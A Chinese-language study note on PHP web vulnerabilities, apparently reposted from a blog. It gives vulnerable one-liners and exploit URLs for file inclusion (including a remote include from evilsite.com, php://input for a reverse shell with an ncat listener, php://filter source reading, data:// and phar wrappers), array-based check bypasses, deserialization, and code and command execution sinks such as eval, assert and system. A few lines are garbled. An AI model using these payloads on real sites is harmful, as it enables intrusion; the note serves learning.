php安全学习笔记

一,LFI(Local File Include) 

意思是能够打开并包含本地文件的漏洞。

相关函数:include(), require(), include_once(), require_once(), file_get_contents()

  1. file_get_contents():这个函数就是把一个文件里面的东西 (字符)全部return出来作为字符串。
    • 除此之外,通过实践我发现这个函数如果直接把字符串当作参数会报错,但如果包含的是http协议的网址,则会像curl命令一样,把源码读出来。而php伪协议也是识别http协议的,所以说上面php://input可以将POST的数据读过来来赋值给参数,这就造成了上述那个例子的漏洞。
  2. include():(就是require,reqiuire_once,include_require这一类)include是针对文档的代码结构的。也就是说,include进来,成了这个文件的其中一部分源代码,这类函数就是文件包含漏洞的罪魁祸首。
  3. include把导入的字符串当成当前文件的代码结构,而file_get_contents只是返回字符串,这是两个函数最大的不同。关于字符串执行的问题,file_get_contents返回的字符串失去了被执行的能力,哪怕字符串里面有,一样能拿出来但不执行。而include导入的字符串,如果被导入的文件有外的一部分。

漏洞代码:

<?php include($_GET[file]);?>   //(需要allow_url_fopen=on 以及 allow_url_include=on)?我试了一下好像并不需要

当输入http://localhost/test.php?file=http:\evilsite.comevil_script.php,服务器就会evil_script.php中的代码。

比如说在evil_script.php中内容为<?php phpinfo();?>,就会显示服务器的phpinfo信息了。

就算不是.php格式结尾的,例如.txt/.png也可以作为php代码来执行。

1, php://伪协议:   访问各个输入/输出流

(1) php://input   (需要allow_url_include=on)

通过post可以向服务器写数据,即服务器通过php://input来接受post数据。

php的代码如上图所示,只需构造如下post命令,就可以产生一个反弹shell了。(如果是向远程服务器发送payload,localhost可以改成我们自己的ip地址)

 

接着在本地ncat -l 1234监听之前在服务器使用的连接本地的端口,就可以对服务器进行命令操作了。

 

或者是当服务器的代码如下所示时,直接发送post参数system('...');也可以达到相似效果。

(2) php://filter   (在双off的时候也可以使用)

是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。简单来说就是可以在执行代码前将代码换一个方式读取出来,因为只是读取所以不需要开启allow_url_include。可以读取源代码并使用base64编码输出。

使用方法:

php://filter/read=convert.base64-encode/resource=1.php(想要加载的代码)

我这里让2.php返回了同一个文件夹下边的1.php的代码。

2, data://伪协议   (allow_url_fopen=on | allow_url_include=on)

数据流封装器,和php://相似都利用了流的概念,将原本include()的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的方法包含了你的输入流,通过你输入的payload来实现目的。

用法:

http://localhost/test/2.php?file=data://text/plain,<?php phpinfo(); ?>

3, phar

 发现有一个文件上传功能,无法绕过,仅能上传jpg后缀的文件。与此同时,无法进行文件包含截断。allow_url_include=on 的状态下,就可以考虑phar伪协议绕过。

 用法:?file=phar://压缩包/内部文件

 二,利用数组绕过函数判断:

  • md5(array()) = null
  • sha1(array()) = null
  • ereg(pattern,array()) = null 
  • preg_match(pattern,array) = false
  • strcmp(array(), "abc") = null
  • strpos(array(),"abc") = null

三,反序列化漏洞:

漏洞的前提:1)unserialize函数传入内容可控、2)php文件中存在可利用的类,类中存在魔术方法
魔术方法:
  • __construct():在实例化一个对象时被调用,一般用于给属性赋值。
  • __destruct():在实例化对象完成后执行。
  • __sleep():当调用serialize()时执行,允许对象在被序列化之前做清除数据操作。
  • __wakeup():在使用unserialize()恢复对象时,将调用__wakeup()成员函数。
  • __tostring():在echo一个对象时被调用。

HP反序列化相关漏洞总结[CVE-2016-7124、SugarCRM、session 反序列化、HITCON 2016]:

  https://hellohxk.com/blog/php-deserialization/

 

四,命令执行

1,eval

mixed eval(string $code)

将字符串作为命令执行。

<?php eval($_GET['a']);?>

访问http://xxxx/codeexec.php?a=phpinfo();

2,assert
bool assert(mixed $assertion)
检查指定的assertion并在结果为FALSE时产生适当响应,如果assertion是字符串则会被当成命令执行。

3,preg_repalce

mixed preg_replace(mixed $pattern, mixed $replacement, mixed $subject)

搜索subject中的pattern部分,并用replacement替换,当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

4,call_user_func

mixed call_user_func(callable $callback [, mixed $parameter ...)

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。

<?php
  call_user_func($_GET['func'],$_GET['para']);
?>

 访问http://xxxx/codeexec.php?func=assert&para=phpinfo()

5,call_user_func_array

mixed call_user_func_array(callable $callback , array $param_arr)

 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

<?php
  call_user_func_array($_GET['func'],$_GET['arr']);
?>

访问http://xxxx/codeexec.php?func=assert&arr[]=phpinfo()

6,create_function

string create_function(string $args, string $code)

该函数的内部实现用到了eval,所以也具有相同的安全问题。第一个参数args是后面定义函数的参数,第二个参数是函数的代码。

<?php
  $a = $_GET['args'];
  $b = create_function('$a',"echo $a");
  $b('');
?>
访问http://xxxx/codeexec.php?args=phpinfo();

7,array_map

array array_map(callable $callback, array $array1 [...)

作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

?php
  $array = array(0,1,2,3,4,5);
  array_map($_GET['func'], $array);
?>

访问http://xxxx/codeexec.php?func=phpinfo

8, ob_start

bool ob_start(callback $output_callback)

可选参数 output_callback 函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。

<?php

  $cmd = 'system';

  ob_start($cmd);

  echo $_GET['a'];

  ob_end_flush();

?>

访问http://xxxx/codeexec.php?a=whoami

9,执行系统命令函数

(1) system, passthru

string system(string $command)

void passthru(string $command)

用法<?php system("whoami");?>

(2) exec, shell_exec

string exec(string $command)

string shell_exec(string $command)

<?php
  echo shell_exec("whoami");
?>

(3) pcntl_exec

void pcntl_exec(string $path [, array $args)

path是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本, args是一个要传递给程序的参数的字符串数组。

(4) popen

resource popen ( string $command , string $mode )

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 后面的mode,当为 ‘r’,返回的文件指针等于命令的 STDOUT,当为 ‘w’,返回的文件指针等于命令的 STDIN。

<?php
  $handle = popen("/bin/ls", "r");
?>

(5) ` 反单引号

在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。

<?php  echo `whoami`;?>


 show_source(__FILE__)可以打印出此页面的源码 

print_r(scandir('./'))扫描当前目录

php伪协议:https://www.jianshu.com/p/0a8339fcc269

网站源码泄露:https://paper.tuisec.win/detail/655ba5d200c002d

php一句话检测绕过:https://xz.aliyun.com/t/2335

原文地址:https://www.cnblogs.com/bl8ck/p/9803175.html